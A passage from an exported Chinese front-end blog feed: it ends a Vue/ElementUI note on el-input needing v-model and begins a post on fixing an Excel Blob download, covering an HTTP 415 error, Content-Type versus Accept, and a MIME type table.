store;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种结构便于我们维护前端的数据模型。\u003c/p\u003e\u003ch2 id=\"ElementUI\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#ElementUI\" class=\"headerlink\" title=\"ElementUI\"\u003e\u003c/a\u003eElementUI\u003c/h2\u003e\u003ch3 id=\"el-input的输入问题\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/#el-input%E7%9A%84%E8%BE%93%E5%85%A5%E9%97%AE%E9%A2%98\" class=\"headerlink\" title=\"el-input的输入问题\"\u003e\u003c/a\u003eel-input的输入问题\u003c/h3\u003e\u003cp\u003e遇到过一次输入框无法输入的问题。查看了下\u003ca href=\"https://element-plus.gitee.io/zh-CN/component/input.html#input-%E8%BE%93%E5%85%A5%E6%A1%86\"\u003e官方文档\u003c/a\u003e发现是设计特性。正常来说,Input总是会响应输入事件,但是\u003cstrong\u003eel-input是受控组件,所以它总是会更优先保证显示v-model绑定的数据值\u003c/strong\u003e。这也就是为什么输入不会被正常响应的原因:没有给它加\u003ccode\u003ev-model\u003c/code\u003e,或者绑定了不存在/错误的对象。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e不过我绑定不存在元素的时候居然没有报错,神奇……\u003c/p\u003e\u003c/blockquote\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/07/17/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/JavaScript/Web%E5%BC%80%E5%8F%91%E6%97%A5%E5%BF%97-Vue%E7%AF%87/"},{"title":"关于前端Blob下载那点事","time":"2023-07-11T14:16:38Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"背景\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E8%83%8C%E6%99%AF\" class=\"headerlink\" title=\"背景\"\u003e\u003c/a\u003e背景\u003c/h2\u003e\u003cp\u003e最近做一个项目,后端返回一个Excel表格给前端下载,前端应该使用Blob将文件保存并下载下来。可是前端这里试了半天,数据大小没问题,就是一直下不下来。后来解决了好几个问题之后才成功解决了这个下载问题。\u003c/p\u003e\u003ch2 id=\"问题1-请求头\"\u003e\u003ca href=\"https://xeonds.github.io/2023/07/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%85%B3%E4%BA%8E%E5%89%8D%E7%AB%AFBlob%E4%B8%8B%E8%BD%BD%E9%82%A3%E7%82%B9%E4%BA%8B/#%E9%97%AE%E9%A2%981-%E8%AF%B7%E6%B1%82%E5%A4%B4\" class=\"headerlink\" title=\"问题1-请求头\"\u003e\u003c/a\u003e问题1-请求头\u003c/h2\u003e\u003cp\u003e查找相关资料后,发现似乎错误的请求头是引发这个问题的一个原因。随后就改了请求部分的代码,加上了请求头的配置:\u003c/p\u003e\u003cfigure class=\"highlight js\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003eserviceAxios\u003c/span\u003e({\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003emethod\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;POST\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eurl\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;xxx\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003eheaders\u003c/span\u003e: {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;Content-Type\u0026#39;\u003c/span\u003e: \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eToken\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003elocalStorage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003egetItem\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;token\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e },\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"attr\"\u003edata\u003c/span\u003e: \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ethen\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eres\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eisShow\u003c/span\u003e = \u003cspan class=\"literal\"\u003efalse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title function_\"\u003edownload\u003c/span\u003e(\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"string\"\u003e\u0026#39;application/vnd.ms-excel\u0026#39;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"variable language_\"\u003ethis\u003c/span\u003e.\u003cspan class=\"property\"\u003eform_data\u003c/span\u003e.\u003cspan class=\"property\"\u003ename\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e )\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003esuccess\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载成功\u0026#39;\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .\u003cspan class=\"title function_\"\u003ecatch\u003c/span\u003e(\u003cspan class=\"function\"\u003e(\u003cspan class=\"params\"\u003eerr\u003c/span\u003e) =\u0026gt;\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"title class_\"\u003eElMessage\u003c/span\u003e.\u003cspan class=\"title function_\"\u003eerror\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;下载失败:\u0026#39;\u003c/span\u003e + err)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e })\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e但是这样不仅下载的内容打不开,而且下载本身还报错了:\u003cstrong\u003eHTTP 415:Unsupported Media Type\u003c/strong\u003e。它的简介如下:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003e415 Unsupported Media Type\u003c/code\u003e\u003c/strong\u003e 是一种 HTTP 协议的错误状态代码,表示服务器由于不支持其有效载荷的格式,从而拒绝接受客户端的请求。\u003c/p\u003e\u003cp\u003e格式问题的出现有可能源于客户端在 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Type\"\u003e\u003ccode\u003eContent-Type\u003c/code\u003e\u003c/a\u003e 或 \u003ca href=\"https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Encoding\"\u003e\u003ccode\u003eContent-Encoding\u003c/code\u003e\u003c/a\u003e 首部中指定的格式,也可能源于直接对负载数据进行检测的结果。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e因此很明显,我应该是设置错了HTTP请求标头。于是查阅了HTTP请求标头的几个字段,发现我应该是搞反了\u003ccode\u003eContent-Type\u003c/code\u003e和\u003ccode\u003eAccept\u003c/code\u003e的意思。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eContent-Type\u003c/strong\u003e:自己发送给对方的内容的MIME类型\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eAccept\u003c/strong\u003e:自己能接受的内容的MIME类型\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e常见的MIME类型( \u003cstrong\u003eMultipurpose Internet Mail Extensions,媒体类型\u003c/strong\u003e)如下:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e扩展名\u003c/th\u003e\u003cth\u003e文档类型\u003c/th\u003e\u003cth\u003eMIME 类型\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.aac\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAAC audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/aac\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.abw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/AbiWord\"\u003eAbiWord\u003c/a\u003e document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-abiword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.arc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eArchive document (multiple files embedded)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-freearc\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.avi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAVI: Audio Video Interleave\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/x-msvideo\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.azw\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAmazon Kindle eBook format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.amazon.ebook\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bin\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAny kind of binary data\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/octet-stream\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bmp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWindows OS/2 Bitmap Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/bmp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.bz2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBZip2 archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-bzip2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eC-Shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-csh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.css\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eCascading Style Sheets (CSS)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/css\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.csv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eComma-separated values (CSV)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/csv\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.doc\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/msword\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.docx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Word (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.wordprocessingml.document\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.eot\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMS Embedded OpenType fonts\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-fontobject\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.epub\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eElectronic publication (EPUB)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/epub+zip\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.gif\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eGraphics Interchange Format (GIF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/gif\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.htm .html\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eHyperText Markup Language (HTML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/html\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ico\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eIcon format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/vnd.microsoft.icon\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ics\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eiCalendar format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/calendar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJava Archive (JAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/java-archive\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jpeg\u003c/code\u003e \u003ccode\u003e.jpg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJPEG images\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/jpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.js\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.json\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.jsonld\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJSON-LD format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ld+json\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mid\u003c/code\u003e \u003ccode\u003e.midi\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMusical Instrument Digital Interface (MIDI)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/midi\u003c/code\u003e \u003ccode\u003eaudio/x-midi\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mjs\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eJavaScript module\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/javascript\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mp3\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMP3 audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpeg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMPEG Video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/mpeg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.mpkg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eApple Installer Package\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.apple.installer+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument presentation document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ods\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument spreadsheet document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.spreadsheet\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.odt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenDocument text document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.oasis.opendocument.text\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.oga\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogv\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ogx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOGG\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/ogg\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.otf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eOpenType font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/otf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.png\u003c/code\u003e\u003c/td\u003e\u003ctd\u003ePortable Network Graphics\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/png\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pdf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eAdobe \u003ca href=\"https://acrobat.adobe.com/us/en/why-adobe/about-adobe-pdf.html\"\u003ePortable Document Format\u003c/a\u003e (PDF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/pdf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ppt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-powerpoint\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.pptx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft PowerPoint (OpenXML)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.openxmlformats-officedocument.presentationml.presentation\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRAR archive\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-rar-compressed\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.rtf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eRich Text Format (RTF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/rtf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.sh\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eBourne shell script\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-sh\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.svg\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eScalable Vector Graphics (SVG)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/svg+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.swf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003e\u003ca href=\"https://en.wikipedia.org/wiki/SWF\"\u003eSmall web format\u003c/a\u003e (SWF) or Adobe Flash document\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-shockwave-flash\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tar\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTape Archive (TAR)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/x-tar\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.tif .tiff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTagged Image File Format (TIFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/tiff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.ttf\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eTrueType Font\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/ttf\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.txt\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eText, (generally ASCII or ISO 8859-\u003cem\u003en\u003c/em\u003e)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003etext/plain\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.vsd\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Visio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.visio\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.wav\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWaveform Audio Format\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/wav\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.weba\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM audio\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eaudio/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webm\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBM video\u003c/td\u003e\u003ctd\u003e\u003ccode\u003evideo/webm\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.webp\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWEBP image\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eimage/webp\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.woff2\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eWeb Open Font Format (WOFF)\u003c/td\u003e\u003ctd\u003e\u003ccode\u003efont/woff2\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xhtml\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eXHTML\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/xhtml+xml\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xls\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel\u003c/td\u003e\u003ctd\u003e\u003ccode\u003eapplication/vnd.ms-excel\u003c/code\u003e\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e\u003ccode\u003e.xlsx\u003c/code\u003e\u003c/td\u003e\u003ctd\u003eMicrosoft Excel 